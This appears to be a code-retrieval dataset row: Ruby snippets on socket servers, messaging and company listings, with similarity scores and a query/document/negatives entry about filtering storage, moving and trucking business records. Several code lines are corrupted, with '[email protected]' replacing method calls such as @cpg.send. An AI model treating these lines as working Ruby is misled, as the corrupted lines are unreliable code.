"def msgHandler()\n\tSTDOUT.puts \"WRITING\"\n\tloop do\n\t\t$semaphore.synchronize {\n\t\t\t$socketBuf.each do |socket, str|\n\t\t\t\tstr = str.strip()\n\t\t\t\targs = str.split(\" \")\n\t\t\t\tcmd = args[0]\n\t\t\t\tdestNode = args[1]\n\t\t\t\tcase (cmd)\t\t\n\t\t\t\t#Acknowledgements\n\t\t\t\twhen \"APPLYEDGE\"; handleEntryAdd(socket,destNode)\n\t\t\t\telse STDOUT.puts \"ERROR: INVALID COMMAND \\\"#{cmd}\\\"\"\n\t\t\t\tend\n\t\t\tend\n\t\t}\n\tend\nend",
"def received\n end",
"def serve( connection )\n connection.puts( \"220 #{@host} MailTrap ready ESTMP\" )\n helo = connection.get_line # whoever they are\n puts \"Helo: #{helo}\"\n \n if helo =~ /^EHLO\\s+/\n puts \"Seen an EHLO\"\n connection.puts \"250-#{@host}\"\n connection.puts \"250 HELP\"\n end\n \n # Accept MAIL FROM:\n from = connection.get_line\n connection.puts( \"250 OK\" )\n puts \"From: #{from}\"\n \n to_list = []\n \n # Accept RCPT TO: until we see DATA\n loop do\n to = connection.get_line\n break if to.nil?\n\n if to =~ /^DATA/\n connection.puts( \"354 Start your message\" )\n break\n else\n puts \"To: #{to}\"\n to_list << to\n connection.puts( \"250 OK\" )\n end\n end\n \n # Capture the message body terminated by <CR>.<CR>\n lines = []\n loop do\n line = connection.get_line\n break if line.nil? || line == \".\"\n lines << line\n puts \"+ #{line}\"\n end\n\n # We expect the client will go away now\n connection.puts( \"250 OK\" )\n connection.gets # Quit\n connection.puts \"221 Seeya\"\n connection.close\n puts \"====================================\"\n\n handle_message( from, to_list, lines.join( \"\\n\" ) )\n \n end",
"def send_a_message(conn, dest, message, headers={})\n return if not @need_sends \n @log.debug \"send_s_message starts\"\n return if not conn.connected?\n 1.upto(@max_msgs) do |mnum|\n outmsg = \"#{message} |:| #{mnum}\"\n conn.send(dest, outmsg, headers) # EM supplied Stomp method\n end\n @need_sends = false\n @need_subscribe = true\n @log.debug \"send_s_message done\"\nend",
"def subscribe &handler\n input = \"\"\n response = 0\n #wait for message from pull socket\n while true\n response = @pull.recv_string(input)\n if !error?(response)\n input.chomp!\n\n #Message received\n yield input if block_given?\n Communicator::get_logger.info \"Message received: #{input}\"\n end\n end\n end",
"def run\n\t\n\t\twhile true \t\t\t\t\t\t# run forever\n\t\t\n\t\t\tready2read = sockets_ready_for_reading()\n\t\t\t\n\t\t\tnext if not ready2read \t\t\t# if nil, loop again\n\t\n\t\t\tputs \"<Debug> ready2read=#{ready2read.inspect}\" if $DEBUG\n\n\t\t\tready2read.each do |socket|\t\t\n\t\t\t\n\t\t\t\tif socket == @server_socket then\t# we have a new client\n\n\t\t\t\t\taccept_new_connection\n\n\t\t\t\telse \t\t\t\t\t\t\t# a client has a message\n\n\t\t\t\t\tconn = get_connection_by_socket(socket)\n\n\t\t\t\t\tif socket.eof? then \t# the socket was closed\n\n\t\t\t\t\t\tmessage = sprintf(\"190 %s@%s:%s now disconnected\\n\", \n\t\t\t\t\t\t\tconn.username, conn.host, conn.port)\n\t\t\t\t\t\tlog_message(message)\n\t\t\t\t\t\tbroadcast_message(message, conn)\n\t\t\t\t\t\tsocket.close\n\t\t\t\t\t\t@connection_array.delete(conn)\n\t\t\t\t\t\tlog_socket_info\n\n\t\t\t\t\telse\t\t\t\t\t# we have a message to process\n\t\t\t\t\t\n\t\t\t\t\t\tmessage = socket.gets.chomp!\n\t\t\t\t\t\tlog_string = sprintf(\"<log>:Message From: %s@%s:%s %s\", \n\t\t\t\t\t\t conn.username, conn.host, conn.port, message.inspect)\n\t\t\t\t\t\tlog_message(log_string)\n\t\t\t\t\t\tprocess_message(message, conn)\n\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend \n\t\tend\n\tend",
"def cpg_message(sender, message)\n\t\tmessage = CorosyncCommander::Execution::Message.from_cpg_message(sender, message)\n\n\t\t# This is the possible message classifications\n\t\t# Command echo (potentially also a command to us)\n\t\t# Response echo\n\t\t# Command to us\n\t\t# Response to us\n\t\t# Command to someone else\n\t\t# Response to someone else\n\n\t\tif message.type == 'command' and sender == @cpg.member then\n\t\t\t# It's a command echo\n\t\t\texecution_queue = nil\n\t\t\t@execution_queues.sync_synchronize(:SH) do\n\t\t\t\texecution_queue = @execution_queues[message.execution_id]\n\t\t\tend\n\t\t\tif !execution_queue.nil? then\n\t\t\t\t# someone is listening\n\t\t\t\tmessage_echo = message.dup\n\t\t\t\tmessage_echo.type = 'echo'\n\t\t\t\tmessage_echo.content = @cpg_members\n\t\t\t\texecution_queue << message_echo\n\t\t\tend\n\t\telsif message.type == 'leader reset' then\n\t\t\t# The sender is requesting we reset their leader position\n\t\t\t# For remote node, act as if the node left.\n\t\t\t# For the local node, act as if we just joined.\n\t\t\tif sender != @cpg.member then\n\t\t\t\t@leader_pool.sync_synchronize(:EX) do\n\t\t\t\t\t@leader_pool.delete(sender)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t@leader_pool.sync_synchronize(:EX) do\n\t\t\t\t\t@leader_pool.replace(@cpg_members.to_a)\n\t\t\t\tend\n\t\t\tend\n\t\telsif message.type != 'command' and message.recipients.include?(@cpg.member) then\n\t\t\t# It's a response to us\n\t\t\texecution_queue = nil\n\t\t\t@execution_queues.sync_synchronize(:SH) do\n\t\t\t\texecution_queue = @execution_queues[message.execution_id]\n\t\t\tend\n\t\t\tif !execution_queue.nil? then\n\t\t\t\t# someone is listening\n\t\t\t\texecution_queue << message\n\t\t\tend\n\t\tend\n\n\t\tif message.type == 'command' and (message.recipients.size == 0 or message.recipients.include?(@cpg.member)) then\n\t\t\t# It's a command to us\n\t\t\tbegin\n\t\t\t\t# see if we've got a registered callback\n\t\t\t\tcommand_callback = nil\n\n\t\t\t\tcommand_name = message.content[0]\n\t\t\t\tcommand_callback = @command_callbacks[command_name]\n\t\t\t\tif command_callback.nil? then\n\t\t\t\t\traise NotImplementedError, \"No callback registered for command '#{command_name}'\"\n\t\t\t\tend\n\n\t\t\t\tcommand_args = message.content[1]\n\t\t\t\treply_value = command_callback.call(message.sender, *command_args)\n\t\t\t\tmessage_reply = message.reply(reply_value)\n\t\t\t\[email protected](message_reply)\n\t\t\trescue => e\n\t\t\t\t$stderr.puts \"Exception: #{e} (#{e.class})\\n#{e.backtrace.join(\"\\n\")}\"\n\t\t\t\tmessage_reply = message.reply([e.class, e.to_s, e.backtrace])\n\t\t\t\tmessage_reply.type = 'exception'\n\t\t\t\[email protected](message_reply)\n\t\t\tend\n\t\tend\n\tend",
"def talkback(server,msg)\n @connector.write(server,msg,true,\n Connector::WRITE_PRIORITY_NONE)\n end",
"def send_msg\n req = Net::HTTP::Post.new('/nodes/receive', initheader = {'Content-Type' =>'application/json'})\n node = Cue.find_by_id(params[:id])\n if node then\n url = uri.parse(node.url)\n req.body = node.payload\n log_action \"sending single msg #{node.id}\"\n req2 = net::http.new(url.host, url.port)\n response = req2.start {|http| http.request(req) }\n response_parse = json.parse(response.body)\n log_action(\"received from node: \" + response.body)\n node.update_attribute :is_handled, true\n end\n redirect_to request.referer\n end",
"def listening(client)\n while (response=client.readline) #<= gets,read does not trigger an EOFError\n Thread.new do\n data = response.size\n client.puts(response)\n puts \"Client #{client} said: #{response} with #{data} bytes\\n\"\n @total += data\n end\n end.join\n end",
"def on_message\n websocket_client.on(:message) do |event|\n websocket_response = websocket_response_data_class.new(\n data: event.data,\n bot_params_class: bot_params_class\n )\n\n bot.handle_data(websocket_response.bot_params) do |message|\n websocket_request = websocket_request_data_class.new(message: message, data: websocket_response.bot_params)\n websocket_client.send(websocket_request.data_to_send)\n end\n end\n end",
"def received(message)\n if message.respond_to?(:encoding) && message.encoding != 'UTF-8'\n message.force_encoding 'UTF-8'\n end\n data = JSON.parse message, :symbolize_names => true\n\n case data[:type]\n when 'text'\n return if @nonces.include?(data[:nonce])\n @nonces << data[:nonce]\n room.message @user, data[:text], name_color, data[:client_ts]\n when 'av-invite', 'av-accept', 'av-close'\n return if @nonces.include?(data[:nonce])\n @nonces << data[:nonce]\n av_message data\n when 'sync'\n @last_event_id = data[:last_event_id].to_i\n sync_events\n when 'ping'\n respond pong: { nonce: data[:nonce], client_ts: data[:client_ts] }\n when 'relay'\n return if @nonces.include?(data[:nonce])\n @nonces << data[:nonce]\n room.relay @user, data[:to], data[:body], data[:client_ts]\n end\n end",
"def process_poll_events(sockets)\n sockets.each do |socket|\n begin\n if socket.is_a?(TCPServer)\n @clients << Client.new(@server.accept)\n elsif socket.is_a?(TCPSocket)\n client = @clients.find { |client| client.socket == socket }\n client_command_with_args = socket.read_nonblock(256, exception: false)\n if client_command_with_args.nil?\n @clients.delete(client)\n socket.close\n elsif client_command_with_args == :wait_readable\n # There's still no client input, break iteration\n next\n elsif client_command_with_args.empty?\n @logger.debug \"Empty request\"\n # There's client input waiting to be treated with\n else\n # By default, client input is ready to be read\n if client.ready\n # First and foremost, client input has to start with a valid command\n command = @handler.get_command(client_command_with_args)\n command_line = client_command_with_args.split\n is_cas = command.eql? \"cas\"\n # Check if a supported command has been inputted\n if @handler.is_command_supported(command)\n # The command is supported, but it can then be a single line command\n if SINGLE_LINE_COMMANDS.include?(command)\n if command_line.length < 2\n socket.puts \"ERROR\"\n else\n response = @handler.handle_single_line(command_line)\n socket.puts response\n end\n\n elsif [email protected]_command_number_of_arguments(command_line, is_cas)\n socket.puts \"ERROR\"\n # or it can also be a double line command (1st line is the command, 2nd line is the datablock)\n else\n # By now, only the 1st line has been inputted, and the server has to wait for the datablock\n # So make sure the command line is a valid one,\n # store the first it, and change the client's ready property\n #command_line = client_command_with_args.split\n if @handler.validate_command_arguments(command_line, is_cas)\n client.command_buffer += client_command_with_args\n client.max_datablock_length = command_line[4].to_i.abs\n client.ready = false\n else\n socket.puts \"CLIENT_ERROR bad command line format\"\n end\n \n end\n # Memcached's default response for a non supported command is \"ERROR\"\n else\n socket.puts \"ERROR\"\n end\n # The ready property is set to false when the server is waiting for the datablock\n # Very important: a key value can hold endlines \"(\"\\n\")\" which will count as 2 characters\n else\n client.datablock_buffer += client_command_with_args\n # The actual datablock length is 2 units less, since \\n (after pressing enter) does count\n comparative_helper = client.datablock_buffer.length - 2\n if comparative_helper > client.max_datablock_length\n # Reset client data for the next iteration\n client.max_datablock_length = 0\n client.command_buffer = ''\n client.datablock_buffer = ''\n client.ready = true\n response = \"\"\n response << \"CLIENT_ERROR bad data chunk\" << \"\\n\"\n response << \"ERROR\"\n socket.puts response\n\n elsif comparative_helper == client.max_datablock_length\n response = @handler.handle_double_line(client.command_buffer, client.datablock_buffer)\n\n # It is necessary to check is there's a valid \"noreply\" option active\n command = @handler.get_command(client.command_buffer)\n command_line = client.command_buffer.split\n is_cas = command.eql? \"cas\"\n noreply_active = false\n\n # Reset client data for the next iteration\n client.command_buffer = ''\n client.datablock_buffer = ''\n client.ready = true\n\n # Validate correct noreply \n # Memcached only cares about the optional noreply if it is written correctly\n # A wrong writing (ie anything not coinciding with \"noreply\") won't prevent the command from executing,\n # But won't cause the execution to terminate badly either\n if is_cas && command_line.length == 7\n if command_line[6].eql? \"noreply\"\n noreply_active = true\n end\n elsif command_line.length == 6\n if command_line[5].eql? \"noreply\"\n noreply_active = true\n end\n end\n\n # Finally, provide a response if noreply is not active\n if !noreply_active\n socket.puts response\n end\n\n end\n\n end\n\n end\n else\n raise \"Unknown socket type: #{ socket }\"\n end\n rescue Errno::ECONNRESET\n @clients.delete(socket)\n end\n end\n end",
"def listen\n Thread.new do\n while true\n retrieve_messages\n sleep (0.1)\n end\n end\n end",
"def start\n @server = TCPServer.open(@hostname, @port)\n loop do\n Thread.new(@server.accept) do |client|\n while message = client.gets\n fmp = ForeignMessageParser.new(message)\n Mailbox.append(fmp.to_event) if fmp.got_valid_message?\n end\n client.close\n end\n end\n end",
"def bixsby_say_to_all(message)\n @connections[:clients].each do |client_session, client|\n p client\n formatted_response = package_response(client_session, message)\n client.puts(formatted_response)\n end\n end",
"def received\n @messages = Message.sent_to current_user\n end",
"def run\r\n while true do\r\n begin\r\n msg = $stdin.gets\r\n if msg.to_s.include? \"exit\"\r\n break\r\n else\r\n set_socket() #must do it in every run\r\n send_data(msg)\r\n com = msg.to_s.split\r\n if (com[0] == \"add\" or com[0] == \"set\" or com[0] == \"cas\" or com[0] == \"append\" or com[0] == \"prepend\") #must send value\r\n value = read_msg(com[4].to_i) #com[4] -> size of the value to read\r\n send_data(value)\r\n end\r\n retrieve_data()#prints data\r\n #while next_line_readable?(@socket)\r\n # puts @socket.gets.chop #puts every line that the socket sends as response\r\n #end\r\n end\r\n rescue => exception\r\n puts exception.message\r\n puts \"A server failure has been encountered\"\r\n puts \"Closing...\"\r\n sleep(2)\r\n break\r\n end\r\n end\r\n end",
"def receive_data(data)\n @client.send_command(SendDataCommand.new(@connection_id, data))\n end",
"def start_listening\n\t\t@socket = UDPSocket.new\n\t\[email protected](@info.host, @info.port)\n\t\twhile true\n\t\t\ttext, sender = @socket.recvfrom(1024)\n\n\t\t\t\targuments = Marshal.load(text)\n\t\t\t\tmsg_type = arguments.shift\n\t\t\t\t\n\t\t\t\tputs \"Received msg: #{msg_type}, #{arguments} from remote #{sender}\"\n\n\t\t\t\tif msg_type == \"GET\"\n\t\t\t\t\tkey, port = arguments\n\t\t\t\t\tget(key.to_i, sender[3], port)\n\t\t\t\telsif msg_type == \"PUT\"\n\t\t\t\t\tkey, value = arguments\n\t\t\t\t\tput(key.to_i, value)\n\t\t\t\telsif msg_type == \"PING\"\n\t\t\t\t\tnode = arguments.first\n\t\t\t\t\tsend_message [\"OK\"], 0, node.host, node.port\n\t\t\t\telsif msg_type == \"OK\"\n\t\t\t\t\t@waiting = false\n\t\t\t\telsif msg_type == \"NEW_NODE\"\n\t\t\t\t\tnew_node_info = arguments.first\n\t\t\t\t\tnew_network_node(new_node_info)\n\t\t\t\telsif msg_type == \"ADD_NODE\"\n\t\t\t\t\tinfo = arguments.first\n\t\t\t\t\t@neighbour_nodes << info\n\t\t\t\telsif msg_type == \"DROP_NODE\"\n\t\t\t\t\tinfo = arguments\n\t\t\t\t\tto_delete = @neighbour_nodes.select { |n| n.host == info.host and n.port == info.port}\n\t\t\t\t\t@neighbour_nodes - to_delete\n\t\t\t\telsif msg_type == \"RESOURCE_TABLE\"\n\t\t\t\t\t@resource_table = arguments.first\n\t\t\t\telsif msg_type == \"ADD_RESOURCE\"\n\t\t\t\t\tresource = arguments.first\n\t\t\t\t\t@resource_table.merge!(resource)\n\t\t\t\t\tputs \"#{resource.to_a}\"\n\t\t\t\t\tputs \"#{request_queue}\"\n\t\t\t\t\tresolve_queue(resource.to_a[0][0])\n\t\t\t\tend \n\t\tend\n\tend",
"def on_readable socket, messages\n @on_read.call messages, socket\n end",
"def broadcast\n queued_data = JSON.generate(@send_queue.shift)\n @sockets.each do |socket|\n socket.send queued_data\n end\n end",
"def broadcast( msg )\n @clients.each do |client|\n client.sock.puts \"Announce: #{msg}\"\n end\n log( \"[broadcast] #{msg}\" )\n end",
"def send\n @request = Thread.new do\n request = nil\n msg = nil\n loop {\n if !@connected\n request = register_or_login\n puts sprintf(\"msg in send: %s\\n\", msg.inspect)\n @connected = true\n else\n msg = $stdin.gets.chomp.split\n command = msg.first\n if command == 'MSG'\n puts msg.inspect\n msg = msg.slice(1, msg.length-1).join(' ')\n else\n msg = nil\n end\n request = [command, msg].to_json\n end\n @server.puts( request )\n }\n end\n end",
"def my_messages\n @clients = Client.all\n @contactListes = current_cadre.contact_client_cadres\n @contact = ContactClientCadre.where(cadre: @cadre, client:current_client)\n if @contact.count == 0\n @contact = ContactClientCadre.create(cadre: @cadre, client:current_client)\n else\n @contact = @contact.first\n end\n @contact.message_client_cadres.where(client_see:false).update(client_see:true)\n @messages = @contact.message_client_cadres.order(created_at: :ASC)\n end"
] | [
"0.73470896",
"0.7064501",
"0.69389194",
"0.69049066",
"0.68902683",
"0.68148494",
"0.680604",
"0.67075753",
"0.66322184",
"0.6594547",
"0.65687734",
"0.65055674",
"0.649664",
"0.64837456",
"0.6478959",
"0.646703",
"0.64556307",
"0.64452773",
"0.6444162",
"0.64072937",
"0.63612777",
"0.63527054",
"0.63505477",
"0.6345503",
"0.63241374",
"0.6303872",
"0.62710834",
"0.6263596",
"0.6263269",
"0.6254819",
"0.6245176",
"0.6243071",
"0.62330395",
"0.62287503",
"0.62283826",
"0.6212518",
"0.6208617",
"0.620467",
"0.62009406",
"0.6199163",
"0.61915594",
"0.61804724",
"0.617561",
"0.61711395",
"0.616423",
"0.61587644",
"0.6158198",
"0.61521065",
"0.6149561",
"0.6145669",
"0.6139529",
"0.6136147",
"0.6115557",
"0.61044294",
"0.6103399",
"0.60974085",
"0.60919386",
"0.6082664",
"0.6075915",
"0.60717",
"0.6070352",
"0.6067858",
"0.6062263",
"0.6058906",
"0.6052384",
"0.6050117",
"0.6045608",
"0.6033612",
"0.60283303",
"0.60200775",
"0.6005563",
"0.6002347",
"0.5998261",
"0.5995774",
"0.59914994",
"0.5986323",
"0.5985287",
"0.5982734",
"0.5978153",
"0.59647566",
"0.59641737",
"0.5963314",
"0.59586227",
"0.5956814",
"0.59556115",
"0.59536463",
"0.59486276",
"0.5946555",
"0.5941184",
"0.5940478",
"0.59301233",
"0.59252465",
"0.5923711",
"0.59207636",
"0.5916607",
"0.59146565",
"0.59100693",
"0.5905575",
"0.5904218",
"0.5902159"
] | 0.714587 | 1 |
get only the storage, moving and truck companies | def filter_records_and_build_listings(records)
@category = ''; @wanted = []; @rejected = []; @wanted_rows = []; count = 0; total = records.size
@storage_regex = /(storage)|(stge)|(strge)|(container)|(warehouse)/i
@truck_regex = /(truck)/i
@moving_regex = /(moving)|(mover)|(van line)/i
records.each_with_index do |row, i|
@listing = nil
# column mappings
begin
title = row[0].titleize
address = (row[2] || '').titleize
city = (row[3] || '').titleize
state = row[4]
zip = row[5].split(/-|\s/)[0]
phone = row[6]
contact_title = row[9]
contact_first_name = row[7]
contact_last_name = row[8]
web_address = row[1]
sic_description = row[10]
unless Listing.find(:first, :include => :map, :conditions => ['LOWER(listings.title) = ? AND LOWER(maps.address) = ? AND LOWER(maps.city) = ? AND LOWER(maps.state) = ? AND LOWER(maps.zip) = ? AND maps.phone = ?', title.downcase, address.downcase, city.downcase, state.downcase, zip.downcase, phone])
if sic_description =~ @storage_regex || title =~ @storage_regex
@category = 'Storage'
@listing = Listing.new :title => title, :enabled => true, :default_logo => rand(6), :category => @category
build_listing_features! title, sic_description
elsif sic_description =~ @truck_regex || title =~ @truck_regex
@category = 'Trucking'
@listing = Listing.new :title => title, :enabled => true, :category => @category
elsif sic_description =~ @moving_regex || title =~ @moving_regex
@category = 'Moving'
@listing = Listing.new :title => title, :enabled => true, :category => @category
end
if @listing
@listing.build_map :address => address, :city => city, :state => state, :zip => zip, :phone => phone
@listing.build_contact :title => contact_title, :first_name => contact_first_name, :last_name => contact_last_name, :phone => phone, :sic_description => sic_description
@wanted << @listing
@wanted_rows << row
puts "Added (#{percent_of(count, total)} done) (#{@category}) #{@listing.title} [#{sic_description}] - #{@listing.city}, #{@listing.state}"
else
@rejected << row
puts "Rejected (#{percent_of(count, total)} done): #{title}, Description: #{sic_description}"
end
else
@rejected << row
puts "Already have (#{percent_of(count, total)} done): #{title}, Description: #{sic_description}"
end
count += 1
rescue => e
puts "Row #{i} had bad data. Row: #{row.inspect}\nError: #{e.message}\nDetails: #{e.inspect}"
end
end
@filtered = { :wanted => @wanted, :rejected => @rejected, :wanted_rows => @wanted_rows }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def companies\n private_companies + major_companies\n end",
"def getcompany\n Company.company_than(need_calc_company)\n end",
"def companies\n return [] unless basecamp\n @companies ||= basecamp.companies\n end",
"def thorins_company; end",
"def other_companies\r\n companies\r\n .includes(:active_burnrate)\r\n .where(company_roles: { role: 1, status: 1 })\r\n .where.not(id: portfolio_companies.ids)\r\n end",
"def companies\n\t\tEmpresa.all\n\tend",
"def companies_sized_over_100 companies\n filtered_companies = companies.select { |company| company.size > 100 }\n company_information_strings filtered_companies\nend",
"def big_investors\n self.investors.select {|vc| vc.tres_commas_club}\n end",
"def companies\n companies = Driver.find(params[:id]).company\n if companies.size == 0\n companies = Array.new\n end\n respond_with companies\n rescue ActiveRecord::RecordNotFound\n respond_with ActiveRecord::RecordNotFound\n end",
"def companies\n company_ids = company_affiliations.with_access.map(&:company_id)\n Company.where(:id.in => company_ids)\n end",
"def list_portfolio_companies\n self.companies.map do |company_instance|\n company_instance.name\n end\n end",
"def service_company\n self.well_info.service_company\n end",
"def companies\n signed_get(COMPANIES_PATH)\n end",
"def all_companies_information\n\t\tbegin\n\t url = URI.parse(Rails.application.secrets[:api_endpoints]['onething']['url_company_info'])\n\t\t url_params = {}\n\t\t path = \"#{url.path}?#{url_params.collect { |k,v| \"#{k}=#{CGI::escape(v.to_s)}\"}.join('&')}\"\n\t\t request = Net::HTTP::Get.new(path) \n\t\t response = Net::HTTP.start(url.host, url.port, :use_ssl => false, :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http| \n\t\t http.request(request)\n\t\t end \n\t\t json_data = JSON.parse(response.body) rescue nil\n\t\t if !json_data.present?\n\t\t \treturn {}\n\t\t else\n\t\t return json_data\n\t\t end\n\t rescue => e\n\t \treturn {:message => 'Error in fetchng API data. Please try again.'}\t\n\t end\n\tend",
"def company\n alliance_company\n end",
"def get_consumables company,remote = false\n\t\tto_be_returned = {}\n\t\tif @remote\n\t\t\tdata = YahooQuotes.get(company)\n\t\t\tto_be_returned['performing_quote'] = get_performing_quote_remote(data)\n\t\telse\n\t\t\t# the minute quote which has the highest high till the interval\n\t\t\tto_be_returned['performing_quote'] = get_performing_quote Quote.quote_types[:minute],@date.quote_date,company.id\n\t\tend\n\t\t# day quote\n\t\tto_be_returned['day_quote'] \t = Quote.get_previous_trading_day_quote @date.quote_date,company.id\n\t\treturn to_be_returned\n\tend",
"def game_companies\n comps = []\n add_entities(comps, UNIT1_COMPANIES) if @units[1]\n add_entities(comps, UNIT3_COMPANIES.reject { |c| comps.any? { |comp| comp[:value] == c[:value] } }) if @units[3]\n add_entities(comps, UNIT2_COMPANIES.reject { |c| comps.any? { |comp| comp[:value] == c[:value] } }) if @units[2]\n comps\n end",
"def company\n @company ||= research_param(:company) || company_list.first\n end",
"def need_calc_company\n company_ids = []\n company_ids = self[:company].split(\",\") unless self[:company].blank?\n company_ids\n end",
"def company_infos\n repo = CompanyRepository.new\n results = repo.search(query: { match: { sic_code_first: sic_first } })\n CompanyInfo.where(duns_number: results.map(&:duns_number))\n end",
"def index\n\t\t@companies = []\n if params[:query].nil?\n @products = []\n else\n @products = Product.search params[:query]\n @products.each do |product|\n product.companies.each do |company|\n if [email protected]? company\n @companies << company\n end\n end\n end\n end\n\tend",
"def search_company(name = \"\", limit = 50)\n\t\[email protected]_company(name, limit)\n\tend",
"def company; end",
"def company; end",
"def pull_company(cfpb, iex)\n # Start with CFPB because it is way more brittle\n complaint = CFPBService.search_complaints cfpb\n stock = IEXService.search_stocks iex\n\n {\n cfpb_complaint_count: complaint[:complaint_count],\n cfpb_random_complaint: complaint[:comment],\n iex: stock\n }\n end",
"def index\n @travel_companions = TravelCompanion.all\n end",
"def index\n if params[:company_id]\n @service_categories = ServiceCategory.where(:company_id => params[:company_id]).order(:order, :name)\n else\n if current_user.role_id == Role.find_by_name('Super Admin').id\n @service_categories = ServiceCategory.where(company_id: Company.where(owned: false).pluck(:id)).order(:order, :name)\n else\n @service_categories = ServiceCategory.where(:company_id => current_user.company_id).order(:order, :name)\n end\n end\n end",
"def supporters(business)\n # Returns object of all unique companies Supporting this business\n\n companies = []\n business.listed_by_business.each {|company| companies << company.company}\n\n companies.uniq # Note this is still not completely unique as it counts when part of multiple networks\n\n end",
"def services\n Car.all.find do |c| \n c.classification == self.specialty\n end\nend",
"def main_co\n companies.main.first \n end",
"def advisor_companies\n companies.where(_type: AdvisorCompany)\n end",
"def auctionable_companies\n @config.fetch('auction').map do |abbreviation|\n companies.find do |company|\n company.abbreviation.eql? abbreviation\n end\n end\n end",
"def card_companies\n CARD_COMPANIES\n end",
"def cars\n return cars_by_license_plate unless @license_plate.empty?\n cars_by_color\n end",
"def all\n endpoint = 'Companies'\n response = JSON.parse(@client.get(endpoint).body)\n companies = response.key?('Items') ? response['Items'] : []\n companies.map { |attributes| Unleashed::Company.new(@client, attributes) }\n end",
"def commodities_to_buy\n @trade_prefs.keys.select { |commodity| buys?(commodity) }\n end",
"def index\n @companions = current_user.companions.uniq\n end",
"def unowned_purchasable_companies(_entity)\n []\n end",
"def owners\n entities.map{|e| (e.investment.company.id if e.investment)}.reject{|i| i == nil}\n end",
"def index\n @companies = ClientCompany.all\n end",
"def corporate_entities(company_number)\n client.get(\"/company/#{company_number}/persons-with-significant-control/\")\n end",
"def get_information_all_companies()\n\t\tpage = 275\n\t\tbegin\n\t\t\turl = create_url(\"organizations\",\"\",page)\n\t\t\tputs \"Reading #{url}\"\n\t\t\tresult = read_url(url)\n\t\t\t#save_json(result, [\"organizations\"])\n\n\t\t\tadd_organization_info(result,\"name\")\n\t\t\tadd_organization_info(result,\"path\")\n\t\t\t\n\t\t\tnext_url = result['data']['paging']['next_page_url']\n\t\t\tpage = page + 1\n\t\tend while next_url != nil\n\t\tcreate_permalink(@paths)\n\t\tsave_json(\"\", [\"names\", \"paths\", \"permalinks\"])\n\tend",
"def getCompanyInfo(company)\n url = \"http://api.crunchbase.com/v/1/company/#{company}.js?api_key=#{@api_key}\"\n #page_contents = Nokogiri::HTML(open(@site_url))\n \n page_contents = Net::HTTP.get(URI.parse(url))\n \n data = JSON.parse(page_contents)\n\n output = Hash.new\n output[:name] = data[\"name\"]\n output[:homepage_url] = data[\"homepage_url\"]\n output[:founded_year] = data[\"founded_year\"].to_s\n output[:category_code] = data[\"category_code\"]\n output[:tag_list] = data[\"tag_list\"]\n output[:description] = data[\"description\"]\n output[:overview] = data[\"overview\"].nil? ? \"\" : data[\"overview\"].gsub(\"\\n\", \" \")\n output[:raised_amount] = data[\"investments\"][0][\"funding_round\"][\"raised_amount\"].to_s rescue \"\"\n output[:raised_currency_code] = data[\"investments\"][0][\"funding_round\"][\"raised_currency_code\"] rescue \"\"\n output[:funded_year] = data[\"investments\"][0][\"funding_round\"][\"funded_year\"] rescue \"\"\n\n if !@required_words.empty? || !@optional_words.empty?\n searchable_fields = [:category_code, :tag_list, :description, :overview]\n searchable = \"\"\n searchable_fields.each { |field| searchable << \" #{output[field]}\" }\n\n unless @optional_words.empty?\n return nil unless search_optional(searchable)\n end\n\n unless @required_words.empty?\n return nil unless search_required(searchable)\n end\n end\n\n File.open('allCompanies.txt', 'a') {|f| f.write(output.values.join(\"|\") + \"\\n\") }\n puts \"Finished getting company #{company}\"\nend",
"def company\n @attributes[:company]\n end",
"def index\n @production_companies = ProductionCompany.all\n end",
"def company_name\n object.company.name\n end",
"def cash_services \n services.select{|i| i[:btype] && i[:btype] == CASH_BILLING} rescue []\n end",
"def index\n @company = Company.all\n if session[:group] == \"admin\"\n if params[:fillter]\n @travellers = Traveller.search(params[:fillter]).order(\"created_at DESC\").page(params[:page])\n else\n @travellers = Traveller.order(:name).page(params[:page])\n end\n else\n @company = Company.where(id:session[:company_id])\n if params[:fillter]\n @travellers = Traveller.search(params[:fillter],session[:company_id]).order(\"created_at DESC\").page(params[:page])\n else\n @travellers = Traveller.where(company_id:session[:company_id]).order(:name).page(params[:page])\n end \n end\n # if params[:search]\n # @travellers = Traveller.search(params[:search]).order(\"created_at DESC\").page(params[:page])\n # else\n # @travellers = Traveller.order(:name).page(params[:page])\n # end\n end",
"def index\n @companions = Companion.all\n end",
"def index\n @invoced_companies = InvocedCompany.all\n end",
"def index\n if current_user.admin?\n @companies = Company.all.order(:name).page(params[:page]).per(10)\n else\n @companies = current_user.company\n end\n end",
"def index\n @hiring_companies = HiringCompany.all\n end",
"def available_delivery_services\n delivery_service_prices.map(&:delivery_service).uniq\n end",
"def index\n @companies = Company.all.first(50000)\n end",
"def company_name\n self.companies.count > 0 ? self.companies.first.title : ''\n end",
"def index\n @companies_info = Company.display_information\n end",
"def index\n @rail_companies = RailCompany.all\n end",
"def personal_mechanic_of\n self.cars_serviced.map{|car| car.car_owner}\nend",
"def isCompany?\n self.category =~ /(company|index|currency)/i\n end",
"def get_company(company_name)\n \n company_name_ = company_name.gsub(\" \", \"%20\")\n prepare_token\n \n api = 'https://api.linkedin.com/v1/company-search:(companies:(id,name,universal-name,website-url,industries,description,logo-url,employee-count-range,specialties,founded-year,locations))?count=20&keywords=' + company_name_\n \n @response = @access_token.get(api)\n \n puts @response.body\n \n companies = Hash.from_xml(@response.body)\n \n if companies[\"company_search\"][\"companies\"][\"total\"] == \"0\"\n return @response.body\n end\n \n companies[\"company_search\"][\"companies\"][\"company\"].each do |company|\n #find the right company\n if company[\"universal_name\"] == company_name.downcase || \n company[\"name\"].downcase == company_name.downcase ||\n company[\"universal_name\"] == company_name.downcase + \"-inc.\"\n \n if company[\"industries\"][\"total\"] == \"1\"\n in_id = company[\"industries\"][\"industry\"][\"code\"]\n else\n in_id = company[\"industries\"][\"industry\"][0][\"code\"]\n end\n id = Industry.find_by_code(in_id).id\n \n if company.has_key?(\"specialties\")\n company_specialties = company[\"specialties\"][\"specialty\"].to_s\n else\n company_specialties = nil\n end\n \n new_company = Company.new(name: company[\"name\"],\n description: company[\"description\"],\n website: url_with_protocol(company[\"website_url\"]),\n logo_url: company[\"logo_url\"],\n tags: company_specialties,\n industry_id: id,\n employee_count_range: 